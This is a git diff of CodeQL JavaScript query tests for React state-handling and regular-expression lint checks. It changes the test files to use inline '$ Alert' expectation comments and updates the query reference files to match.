diff --git a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid5.js b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid5.js
index fafcb3600a52..0e112ccd74a7 100644
--- a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid5.js
+++ b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid5.js
@@ -3,7 +3,7 @@
 var Hello = React.createClass({
   render: function() {
     var that = this;
-    that.state.person.name.first = "bar"
+    that.state.person.name.first = "bar" // $ Alert
     return <div>Hello</div>;
   }
 });
diff --git a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid6.js b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid6.js
index 9b88b1786b88..fc4e02c5368a 100644
--- a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid6.js
+++ b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid6.js
@@ -2,6 +2,6 @@ class Component extends React.Component {
     constructor(props) {
         super(props);
         this.state = {};
-        this.updater = () => this.state.title = 'new title';
+        this.updater = () => this.state.title = 'new title'; // $ Alert
     }
 }
diff --git a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid7.js b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid7.js
index 6393da58469f..23ce21fbca64 100644
--- a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid7.js
+++ b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid7.js
@@ -2,6 +2,6 @@ class Component extends React.Component {
     constructor(props) {
         super(props);
         this.state = {};
-        this.updater = function(){this.state.title = 'new title';};
+        this.updater = function(){this.state.title = 'new title';}; // $ Alert
     }
 }
diff --git a/javascript/ql/test/query-tests/React/InconsistentStateUpdate/InconsistentStateUpdate.qlref b/javascript/ql/test/query-tests/React/InconsistentStateUpdate/InconsistentStateUpdate.qlref
index bab216c48331..eed73b7bfa4c 100644
--- a/javascript/ql/test/query-tests/React/InconsistentStateUpdate/InconsistentStateUpdate.qlref
+++ b/javascript/ql/test/query-tests/React/InconsistentStateUpdate/InconsistentStateUpdate.qlref
@@ -1 +1,2 @@
-React/InconsistentStateUpdate.ql
\ No newline at end of file
+query: React/InconsistentStateUpdate.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/React/InconsistentStateUpdate/tst.js b/javascript/ql/test/query-tests/React/InconsistentStateUpdate/tst.js
index 835818f144d7..0c73d7ef0772 100644
--- a/javascript/ql/test/query-tests/React/InconsistentStateUpdate/tst.js
+++ b/javascript/ql/test/query-tests/React/InconsistentStateUpdate/tst.js
@@ -1,7 +1,7 @@
 class C1 extends React.Component {
   upd8() {
     this.setState({
-      counter: this.state.counter + 1 // NOT OK, but ignored because it is safe in practice
+      counter: this.state.counter + 1 // OK - ignored because it is safe in practice
     });
   }
 }
@@ -9,7 +9,7 @@ class C1 extends React.Component {
 class C2 extends React.Component {
   upd8() {
     this.setState((prevState) => {
-      counter: prevState.counter + 1 // OK
+      counter: prevState.counter + 1
     });
   }
 }
@@ -18,7 +18,7 @@ class C3 extends React.Component {
   upd8() {
     var app = this;
     app.setState({
-      counter: this.state.counter + 1 // NOT OK, but ignored because it is safe in practice
+      counter: this.state.counter + 1 // OK - ignored because it is safe in practice
     });
   }
 }
@@ -26,73 +26,73 @@ class C3 extends React.Component {
 class C4 extends React.Component {
   upd8() {
     this.setState({
-      counter: this.state.foo // NOT OK
-    });
+      counter: this.state.foo
+    }); // $ Alert
   }
 }
 
 class C5 extends React.Component {
   upd8() {
     this.setState({
-        foo: { bar: this.state.foo.bar } // NOT OK
-    });
+        foo: { bar: this.state.foo.bar }
+    }); // $ Alert
   }
 }
 
 class C7 extends React.Component {
     upd8a() {
         this.setState({
-            foo: this.state.foo // NOT OK
-        });
+            foo: this.state.foo
+        }); // $ Alert
     }
 
     upd8b() {
         this.setState({
-            foo: this.state.foo // NOT OK
-        });
+            foo: this.state.foo
+        }); // $ Alert
     }
 }
 
 class C8 extends React.Component {
     upd8a() {
         this.setState({
-            foo: this.state.foo + 1 // NOT OK
-        });
+            foo: this.state.foo + 1
+        }); // $ Alert
     }
 
     upd8b() {
         this.setState({
-            foo: this.state.foo + 1 // NOT OK
-        });
+            foo: this.state.foo + 1
+        }); // $ Alert
     }
 }
 
 class C9 extends React.Component {
     upd8a() {
         this.setState({
-            foo: { bar: this.state.foo.bar } // NOT OK
-        });
+            foo: { bar: this.state.foo.bar }
+        }); // $ Alert
     }
 
     upd8b() {
         this.setState({
-            foo: { bar: this.state.foo.bar } // NOT OK
-        });
+            foo: { bar: this.state.foo.bar }
+        }); // $ Alert
     }
 }
 
 class C10 extends React.Component {
     upd8a() {
         this.setState({
-            foo: this.state.foo, // NOT OK
-            bar: this.state.bar // NOT OK, but ignored because it is safe in practice
-        });
+            foo: this.state.foo,
+            bar: this.state.bar // OK - ignored because it is safe in practice
+        }); // $ Alert
     }
 
     upd8b() {
         this.setState({
-            foo: this.state.foo // NOT OK
-        });
+            foo: this.state.foo
+        }); // $ Alert
     }
 }
 
@@ -100,13 +100,13 @@ class C11 extends React.Component {
     upd8a() {
         var self = this;
         self.setState({
-            foo: self.state.foo // NOT OK
-        });
+            foo: self.state.foo
+        }); // $ Alert
     }
 
     upd8b() {
         this.setState({
-            foo: this.state.foo // NOT OK
-        });
+            foo: this.state.foo
+        }); // $ Alert
     }
 }
diff --git a/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/UnsupportedStateUpdateInLifecycleMethod.qlref b/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/UnsupportedStateUpdateInLifecycleMethod.qlref
index dfa6c80426f6..9d1de0e203a6 100644
--- a/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/UnsupportedStateUpdateInLifecycleMethod.qlref
+++ b/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/UnsupportedStateUpdateInLifecycleMethod.qlref
@@ -1 +1,2 @@
-React/UnsupportedStateUpdateInLifecycleMethod.ql
\ No newline at end of file
+query: React/UnsupportedStateUpdateInLifecycleMethod.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/tst.js b/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/tst.js
index f3c488d38b62..41dcc713ceb1 100644
--- a/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/tst.js
+++ b/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/tst.js
@@ -1,9 +1,9 @@
 // update variants
 React.createClass({
     render: function() {
-        this.setState({}); // NOT OK
-        this.replaceState({}); // NOT OK
-        this.forceUpdate({}); // NOT OK
+        this.setState({}); // $ Alert
+        this.replaceState({}); // $ Alert
+        this.forceUpdate({}); // $ Alert
         return <div/>
     }
 });
@@ -14,8 +14,8 @@ class MyClass1 extends React.Component {
         super(props);
     }
     render() {
-        this.indirectUpdate(); // NOT OK
-        this.veryIndirectUpdate(); // NOT OK
+        this.indirectUpdate(); // $ Alert
+        this.veryIndirectUpdate(); // $ Alert
         return <div/>
     }
 
@@ -34,24 +34,24 @@ class MyClass1 extends React.Component {
 // definiteness variants
 React.createClass({
     render: function() {
-        this.setState({}); // NOT OK
+        this.setState({}); // $ Alert
     },
     componentDidUpdate: function() {
-        this.setState({}); // NOT OK
+        this.setState({}); // $ Alert
         if (cond) {
-            this.setState({}); // OK
+            this.setState({});
         }
     },
     shouldComponentUpdate: function() {
-        this.setState({}); // NOT OK
+        this.setState({}); // $ Alert
         if (cond) {
-            this.setState({}); // OK
+            this.setState({});
         }
     },
     componentWillUpdate: function() {
-        this.setState({}); // NOT OK
+        this.setState({}); // $ Alert
         if (cond) {
-            this.setState({}); // OK
+            this.setState({});
         }
     }
 });
@@ -63,11 +63,11 @@ class MyClass2 extends React.Component {
     }
 
     componentWillUpdate() {
-        this.definiteIndirectUpdate(); // NOT OK
+        this.definiteIndirectUpdate(); // $ Alert
         if (cond) {
-            this.definiteIndirectUpdate(); // OK
+            this.definiteIndirectUpdate();
         }
-        this.indefiniteIndirectUpdate(); // OK
+        this.indefiniteIndirectUpdate();
         return <div/>
     }
 
@@ -86,7 +86,7 @@ class MyClass2 extends React.Component {
 React.createClass({
     render: function() {
         var app = this;
-        app.setState({}); // NOT OK
+        app.setState({}); // $ Alert
         return <div/>
     }
 });
@@ -97,7 +97,7 @@ React.createClass({
         this.setState({})
     },
     render: function() {
-        this.indirectUpdate();
+        this.indirectUpdate(); // $ Alert
         return <div/>
     }
 });
@@ -105,9 +105,9 @@ React.createClass({
 // eslint examples
 React.createClass({
   componentDidUpdate: function() {
-     this.setState({ // NOT OK
+     this.setState({
         name: this.props.name.toUpperCase()
-      });
+      }); // $ Alert
     },
   render: function() {
     return <div>Hello {this.state.name}</div>;
@@ -115,9 +115,9 @@ React.createClass({
 });
 React.createClass({
   componentWillUpdate: function() {
-     this.setState({ // NOT OK
+     this.setState({
         name: this.props.name.toUpperCase()
-      });
+      }); // $ Alert
     },
   render: function() {
     return <div>Hello {this.state.name}</div>;
@@ -138,7 +138,7 @@ class Search extends React.Component {
 
     render() {
         return (
-                <Button onClick={this.handleButtonChange()} ></Button> // NOT OK
+                <Button onClick={this.handleButtonChange()} ></Button> // $ Alert
         );
     }
 }
@@ -147,25 +147,25 @@ class Search extends React.Component {
 class MyClass3 extends React.Component {
     constructor(props) {
         super(props);
-        this.setState({}); // NOT OK
+        this.setState({}); // $ Alert
     }
     componentDidUnmount() {
-        this.setState({}); // NOT OK
+        this.setState({}); // $ Alert
     }
     getDefaultProps() {
-        this.setState({}); // NOT OK
+        this.setState({}); // $ Alert
     }
     getInitialState() {
-        this.setState({}); // NOT OK
+        this.setState({}); // $ Alert
     }
     componentWillUnmount() {
-        this.setState({}); // OK
+        this.setState({});
     }
     componentWillMount() {
-        this.setState({}); // OK
+        this.setState({});
     }
     componentDidMount() {
-        this.setState({}); // OK
+        this.setState({});
     }
 }
 
@@ -184,8 +184,8 @@ class MyClass4 extends React.Component {
             var doUpdate4 = () => this.myUpdate();
             doUpdate4();
         }
-        doUpdate1(); // NOT OK
-        doUpdate2(); // NOT OK
-        doUpdate3(); // NOT OK
+        doUpdate1(); // $ Alert
+        doUpdate2(); // $ Alert
+        doUpdate3(); // $ Alert
     }
 }
diff --git a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/UnusedOrUndefinedStateProperty.expected b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/UnusedOrUndefinedStateProperty.expected
index fd0b9853a6ac..74825d5a26d8 100644
--- a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/UnusedOrUndefinedStateProperty.expected
+++ b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/UnusedOrUndefinedStateProperty.expected
@@ -1,7 +1,7 @@
-| issue7506.js:12:1:12:34 | class C ... e\\n  }\\n} | Component state property 'p1' is $@, but it is never read. | issue7506.js:15:5:15:10 | p1: '' | written |
-| undefined.js:1:1:1:34 | class C ...     }\\n} | Component state property 'notWritten' is $@, but it is never written. | undefined.js:8:9:8:29 | this.st ... Written | read |
-| undefined.js:1:1:1:34 | class C ...     }\\n} | Component state property 'notWrittenButReadInChain' is $@, but it is never written. | undefined.js:9:9:9:43 | this.st ... InChain | read |
-| undefined.js:32:1:32:34 | class C ...     }\\n} | Component state property 'notWrittenThrougExternalPropertyAccess' is $@, but it is never written. | undefined.js:35:9:35:57 | this.st ... yAccess | read |
-| undefined.js:61:19:61:19 | {\\n    r ... ;\\n  }\\n} | Component state property 'notWrittenInKnownInitializerObject' is $@, but it is never written. | undefined.js:64:9:64:53 | this.st ... rObject | read |
-| unused.js:1:1:1:34 | class C ...     }\\n} | Component state property 'notRead' is $@, but it is never read. | unused.js:6:9:6:26 | this.state.notRead | written |
-| unused.js:27:1:27:34 | class C ...     }\\n} | Component state property 'notReadThrougExternaPropertyAccess' is $@, but it is never read. | unused.js:30:9:30:53 | this.st ... yAccess | written |
+| issue7506.js:12:1:12:45 | class C ... e\\n  }\\n} | Component state property 'p1' is $@, but it is never read. | issue7506.js:15:5:15:10 | p1: '' | written |
+| undefined.js:1:1:1:45 | class C ...     }\\n} | Component state property 'notWritten' is $@, but it is never written. | undefined.js:8:9:8:29 | this.st ... Written | read |
+| undefined.js:1:1:1:45 | class C ...     }\\n} | Component state property 'notWrittenButReadInChain' is $@, but it is never written. | undefined.js:9:9:9:43 | this.st ... InChain | read |
+| undefined.js:32:1:32:45 | class C ...     }\\n} | Component state property 'notWrittenThrougExternalPropertyAccess' is $@, but it is never written. | undefined.js:35:9:35:57 | this.st ... yAccess | read |
+| undefined.js:61:19:61:30 | { // $  ... ;\\n  }\\n} | Component state property 'notWrittenInKnownInitializerObject' is $@, but it is never written. | undefined.js:64:9:64:53 | this.st ... rObject | read |
+| unused.js:1:1:1:45 | class C ...     }\\n} | Component state property 'notRead' is $@, but it is never read. | unused.js:6:9:6:26 | this.state.notRead | written |
+| unused.js:27:1:27:45 | class C ...     }\\n} | Component state property 'notReadThrougExternaPropertyAccess' is $@, but it is never read. | unused.js:30:9:30:53 | this.st ... yAccess | written |
diff --git a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/UnusedOrUndefinedStateProperty.qlref b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/UnusedOrUndefinedStateProperty.qlref
index 2b285a04cd8f..a767c2444b8d 100644
--- a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/UnusedOrUndefinedStateProperty.qlref
+++ b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/UnusedOrUndefinedStateProperty.qlref
@@ -1 +1,2 @@
-React/UnusedOrUndefinedStateProperty.ql
\ No newline at end of file
+query: React/UnusedOrUndefinedStateProperty.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/issue7506.js b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/issue7506.js
index f5acdc8d99ab..07932d220d65 100644
--- a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/issue7506.js
+++ b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/issue7506.js
@@ -9,10 +9,10 @@ class C1 extends React.Component {
   }
 }
 
-class C2 extends React.Component {
+class C2 extends React.Component { // $ Alert
 
   state = {
-    p1: ''
+    p1: '' // $ RelatedLocation
   }
 
   static getDerivedStateFromProps_unmodeled(props, state) {
diff --git a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/undefined.js b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/undefined.js
index 6db5702e2fcf..165ab793ac71 100644
--- a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/undefined.js
+++ b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/undefined.js
@@ -1,14 +1,14 @@
-class C1 extends React.Component {
+class C1 extends React.Component { // $ Alert
     constructor() {
         this.state.writtenDirectly = 42;
         this.setState({
             writtenInSetState: 42
         });
-        this.state.writtenInOtherMethod; // OK
-        this.state.notWritten; // NOT OK
-        this.state.notWrittenButReadInChain; // NOT OK
-        this.state.writtenDirectly; // OK
-        this.state.writtenInSetState; // OK
+        this.state.writtenInOtherMethod;
+        this.state.notWritten; // $ RelatedLocation
+        this.state.notWrittenButReadInChain; // $ RelatedLocation
+        this.state.writtenDirectly;
+        this.state.writtenInSetState;
 
     }
 
@@ -23,16 +23,16 @@ class C2 extends React.Component {
             s.writtenWhenEscaped = 42;
         }
         f(this.state);
-        this.state.writtenWhenEscaped; // OK
-        this.state.notWrittenWhenEscaped; // NOT OK, but ignored to avoid FP above
+        this.state.writtenWhenEscaped;
+        this.state.notWrittenWhenEscaped; // OK - ignored to avoid FP above
     }
 }
 
 
-class C3 extends React.Component {
+class C3 extends React.Component { // $ Alert
     constructor() {
-        this.state.writtenThrougExternalPropertyAccess; // OK
-        this.state.notWrittenThrougExternalPropertyAccess; // NOT OK
+        this.state.writtenThrougExternalPropertyAccess;
+        this.state.notWrittenThrougExternalPropertyAccess; // $ RelatedLocation
     }
 }
 
@@ -44,24 +44,24 @@ class C4 extends React.Component {
             return { writtenInUnknownInitializerObject: 42 };
         }
         this.state = f();
-        this.state.writtenInUnknownInitializerObject; // OK
-        this.state.notWrittenInUnknownInitializerObject; // NOT OK, but ignored to avoid FP above
+        this.state.writtenInUnknownInitializerObject;
+        this.state.notWrittenInUnknownInitializerObject; // OK - ignored to avoid FP above
     }
 }
 
 class C5 extends React.Component {
     constructor(x) {
         this.state = x;
-        this.state.writtenInUnknownInitializerObject; // OK
-        this.state.notWrittenInUnknownInitializerObject; // NOT OK, but ignored to avoid FP above
+        this.state.writtenInUnknownInitializerObject;
+        this.state.notWrittenInUnknownInitializerObject; // OK - ignored to avoid FP above
     }
 }
 new C5({writtenInUnknownInitializerObject: 42});
 
-React.createClass({
+React.createClass({ // $ Alert
     render: function() {
-        this.state.writtenInKnownInitializerObject; // OK
-        this.state.notWrittenInKnownInitializerObject; // NOT OK
+        this.state.writtenInKnownInitializerObject;
+        this.state.notWrittenInKnownInitializerObject; // $ RelatedLocation
         return <div/>;
   },
   getInitialState: function() {
@@ -74,8 +74,8 @@ React.createClass({
         function f(){
             return { writtenInUnknownInitializerObject: 42 };
         }
-        this.state.writtenInUnknownInitializerObject; // OK
-        this.state.notWrittenInUnknownInitializerObject; // NOT OK, but ignored to avoid FP above
+        this.state.writtenInUnknownInitializerObject;
+        this.state.notWrittenInUnknownInitializerObject; // OK - ignored to avoid FP above
         return <div/>;
   },
   getInitialState: function() {
@@ -86,8 +86,8 @@ React.createClass({
 class C6 extends React.Component {
     constructor(x) {
         Object.assign(this.state, {writtenInObjectAssign: 42});
-        this.state.writtenInObjectAssign; // OK
-        this.state.notWrittenInObjectAssign; // NOT OK, but ignored to avoid FP above
+        this.state.writtenInObjectAssign;
+        this.state.notWrittenInObjectAssign; // OK - ignored to avoid FP above
     }
 }
 
@@ -96,8 +96,8 @@ class C6 extends React.Component {
         function f(){
             return { writtenInSetState: 42 };
         }
-        this.state.writtenSetState; // OK
-        this.state.notWrittenSetState; // NOT OK, but ignored to avoid FP above
+        this.state.writtenSetState;
+        this.state.notWrittenSetState; // OK - ignored to avoid FP above
         this.setState(f());
     }
 }
@@ -107,7 +107,7 @@ class C7 extends React.Component {
         function f(){
             return { writtenInSetState: 42 };
         }
-        this.state.writtenInSetState; // OK
+        this.state.writtenInSetState;
         this.setState(f);
     }
 }
@@ -120,8 +120,8 @@ class C8 extends React.Component {
         function g() {
             return { writtenInSetState: 42 }
         }
-        this.state.writtenInSetState; // OK
-        this.state.notInWrittenSetState; // NOT OK, but ignored to avoid FP above
+        this.state.writtenInSetState;
+        this.state.notInWrittenSetState; // OK - ignored to avoid FP above
         this.setState(f());
     }
 }
@@ -131,8 +131,8 @@ class C9 extends React.Component {
         function f() { return "readThroughUnknownDynamicPropertyAccess"; }
         this.state[f()] = 42;
 
-        this.state.writtenThroughUnknownDynamicPropertyAccess; // OK
-        this.state.notWrittenThroughUnknownDynamicPropertyAccess; // NOT OK, but ignored to avoid FP above
+        this.state.writtenThroughUnknownDynamicPropertyAccess;
+        this.state.notWrittenThroughUnknownDynamicPropertyAccess; // OK - ignored to avoid FP above
 
     }
 }
@@ -141,15 +141,15 @@ class C10 extends React.Component {
     constructor() {
         var x = { writtenThroughUnknownSpreadAccess: 42 };
         this.state = { ...x };
-        this.state.writtenThroughUnknownSpreadAccess; // OK
-        this.state.notWrittenThroughUnknownSpreadAccess// NOT OK, but ignored to avoid FP above
+        this.state.writtenThroughUnknownSpreadAccess;
+        this.state.notWrittenThroughUnknownSpreadAccess// OK - ignored to avoid FP above
     }
 }
 
 React.createClass({
     render: function() {
-        this.state.writtenThroughMixin; // OK
-        this.state.notWrittenThroughMixin;  // NOT OK, but ignored to avoid FP above
+        this.state.writtenThroughMixin;
+        this.state.notWrittenThroughMixin;  // OK - ignored to avoid FP above
         return <h1>Hello</h1>;
     },
 
@@ -163,6 +163,6 @@ class C11 extends React.Component {
     }
 
     otherMethod() {
-        this.state.writeIn_getDerivedStateFromProps; // OK
+        this.state.writeIn_getDerivedStateFromProps;
     }
 }
diff --git a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/unused.js b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/unused.js
index d71aa7136da9..60673a23b620 100644
--- a/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/unused.js
+++ b/javascript/ql/test/query-tests/React/UnusedOrUndefinedStateProperty/unused.js
@@ -1,9 +1,9 @@
-class C1 extends React.Component {
+class C1 extends React.Component { // $ Alert
     constructor() {
-        this.state.readDirectly = 42; // OK
-        this.state.readInChain = {}; // OK
-        this.state.readInOtherMethod = {}; // OK
-        this.state.notRead = 42; // NOT OK
+        this.state.readDirectly = 42;
+        this.state.readInChain = {};
+        this.state.readInOtherMethod = {};
+        this.state.notRead = 42; // $ RelatedLocation
         this.state.readDirectly;
         this.state.readInChain.foo;
     }
@@ -18,16 +18,16 @@ function f(s){
 }
 class C2 extends React.Component {
     constructor() {
-        this.state.readWhenEscaped = 42; // NOT OK
+        this.state.readWhenEscaped = 42;
         f(this.state);
     }
 }
 
 
-class C3 extends React.Component {
+class C3 extends React.Component { // $ Alert
     constructor() {
-        this.state.readThrougExternaPropertyAccess = 42; // OK
-        this.state.notReadThrougExternaPropertyAccess = 42; // NOT OK
+        this.state.readThrougExternaPropertyAccess = 42;
+        this.state.notReadThrougExternaPropertyAccess = 42; // $ RelatedLocation
     }
 }
 
@@ -36,8 +36,8 @@ new C3().state.readThrougExternaPropertyAccess;
 class C4 extends React.Component {
     constructor() {
         function f() { return "readThroughUnknownDynamicPropertyAccess"; }
-        this.state.readThroughUnknownDynamicPropertyAccess = 42; // OK
-        this.state.notReadThroughUnknownDynamicPropertyAccess = 42; // NOT OK, but ignored to avoid FP above
+        this.state.readThroughUnknownDynamicPropertyAccess = 42;
+        this.state.notReadThroughUnknownDynamicPropertyAccess = 42; // $ OK - ignored to avoid FP above
 
         this.state[f()];
     }
@@ -46,15 +46,15 @@ class C4 extends React.Component {
 
 class C5 extends React.Component {
     constructor() {
-        this.state.readThroughSpreadOperator = 42; // OK
+        this.state.readThroughSpreadOperator = 42;
         ({...this.state});
     }
 }
 
 React.createClass({
     render: function() {
-        this.state.readThroughMixin = 42; // OK
-        this.state.notReadThroughMixin = 42;  // NOT OK, but ignored to avoid FP above
+        this.state.readThroughMixin = 42;
+        this.state.notReadThroughMixin = 42;  // $ OK - ignored to avoid FP above
         return <h1>Hello</h1>;
     },
 
@@ -68,7 +68,7 @@ class C6 extends React.Component {
     }
 
     constructor() {
-        this.state.readIn_getDerivedStateFromProps = 42; // OK
+        this.state.readIn_getDerivedStateFromProps = 42;
     }
 
 }
diff --git a/javascript/ql/test/query-tests/RegExp/BackrefBeforeGroup/BackrefBeforeGroup.qlref b/javascript/ql/test/query-tests/RegExp/BackrefBeforeGroup/BackrefBeforeGroup.qlref
index 3c5f29d2f914..0096b5fd9e9c 100644
--- a/javascript/ql/test/query-tests/RegExp/BackrefBeforeGroup/BackrefBeforeGroup.qlref
+++ b/javascript/ql/test/query-tests/RegExp/BackrefBeforeGroup/BackrefBeforeGroup.qlref
@@ -1 +1,2 @@
-RegExp/BackrefBeforeGroup.ql
\ No newline at end of file
+query: RegExp/BackrefBeforeGroup.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/BackrefBeforeGroup/tst.js b/javascript/ql/test/query-tests/RegExp/BackrefBeforeGroup/tst.js
index 2ac332dfb38d..83fd7871d4ed 100644
--- a/javascript/ql/test/query-tests/RegExp/BackrefBeforeGroup/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/BackrefBeforeGroup/tst.js
@@ -1,9 +1,9 @@
-/\1(abc)/;      // NOT OK
-/(a\1c)/;       // NOT OK
-/(ab)\2(c)/;    // NOT OK
-/(?:ab)\1(c)/;  // NOT OK
+/\1(abc)/;      // $ Alert
+/(a\1c)/;       // $ Alert
+/(ab)\2(c)/;    // $ Alert
+/(?:ab)\1(c)/;  // $ Alert
 /(abc)\1/;
 /<tpl\b[^>]*>((?:(?=([^<]+))\2|<(?!tpl\b[^>]*>))*?)<\/tpl>/;
-/\k<ws>(?<ws>\w+)/; // NOT OK
-/(?<=\1(.))a/;  // OK
-/(?<=(.)\1)a/;  // NOT OK, but not currently flagged
+/\k<ws>(?<ws>\w+)/; // $ Alert
+/(?<=\1(.))a/;
+/(?<=(.)\1)a/;  // $ MISSING: Alert
diff --git a/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/BackrefIntoNegativeLookahead.expected b/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/BackrefIntoNegativeLookahead.expected
index 2210f9711682..52d3597bb637 100644
--- a/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/BackrefIntoNegativeLookahead.expected
+++ b/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/BackrefIntoNegativeLookahead.expected
@@ -1 +1 @@
-| tst.js:4:17:4:18 | \\2 | This back reference always matches the empty string, since it refers to $@, which is contained in a $@. | tst.js:4:11:4:14 | (a+) | this capture group | tst.js:4:8:4:16 | (?!(a+)b) | negative lookahead assertion |
+| tst.js:3:17:3:18 | \\2 | This back reference always matches the empty string, since it refers to $@, which is contained in a $@. | tst.js:3:11:3:14 | (a+) | this capture group | tst.js:3:8:3:16 | (?!(a+)b) | negative lookahead assertion |
diff --git a/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/BackrefIntoNegativeLookahead.qlref b/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/BackrefIntoNegativeLookahead.qlref
index a9ba2975bb7c..181646694e12 100644
--- a/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/BackrefIntoNegativeLookahead.qlref
+++ b/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/BackrefIntoNegativeLookahead.qlref
@@ -1 +1,2 @@
-RegExp/BackrefIntoNegativeLookahead.ql
+query: RegExp/BackrefIntoNegativeLookahead.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/tst.js b/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/tst.js
index b2199e311374..7cf1ff3629b5 100644
--- a/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/BackrefIntoNegativeLookahead/tst.js
@@ -1,4 +1,3 @@
-// OK
+
 /(.*?)a(?!(a+)b\2)/;
-// NOT OK
-/(.*?)a(?!(a+)b)\2(.*)/;
+/(.*?)a(?!(a+)b)\2(.*)/; // $ Alert
diff --git a/javascript/ql/test/query-tests/RegExp/BackspaceEscape/BackspaceEscape.qlref b/javascript/ql/test/query-tests/RegExp/BackspaceEscape/BackspaceEscape.qlref
index 1d1f9bbe756e..17bb483eba24 100644
--- a/javascript/ql/test/query-tests/RegExp/BackspaceEscape/BackspaceEscape.qlref
+++ b/javascript/ql/test/query-tests/RegExp/BackspaceEscape/BackspaceEscape.qlref
@@ -1 +1,2 @@
-RegExp/BackspaceEscape.ql
\ No newline at end of file
+query: RegExp/BackspaceEscape.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/BackspaceEscape/tst.js b/javascript/ql/test/query-tests/RegExp/BackspaceEscape/tst.js
index 7796e660bbaa..1fd49f807e75 100644
--- a/javascript/ql/test/query-tests/RegExp/BackspaceEscape/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/BackspaceEscape/tst.js
@@ -1,4 +1,4 @@
 /\bx\b/;
-/[\b]x/;
+/[\b]x/; // $ Alert
 /[\ch]x[\cH]/;
 /\ch\ch/;
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.qlref b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.qlref
index 790af75f6e4a..a04b25019d43 100644
--- a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.qlref
+++ b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.qlref
@@ -1 +1,2 @@
-RegExp/DuplicateCharacterInCharacterClass.ql
\ No newline at end of file
+query: RegExp/DuplicateCharacterInCharacterClass.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js
index 59114b90c54a..c87c7140a16c 100644
--- a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js
+++ b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js
@@ -1,13 +1,14 @@
-/[foo]/;
+/[foo]/; // $ Alert
 /[a-zc]/;
 /[\uDC3A\uDC3C]/;
-/[??]/;
-/[\u003F\u003f]/;
-/[\u003F?]/;
-/[\x3f\u003f]/;
-/[aaa]/;
-/[\x0a\x0a]/;
-/[\u000a\n]/;
+/[??]/; // $ Alert
+/[\u003F\u003f]/; // $ Alert
+/[\u003F?]/; // $ Alert
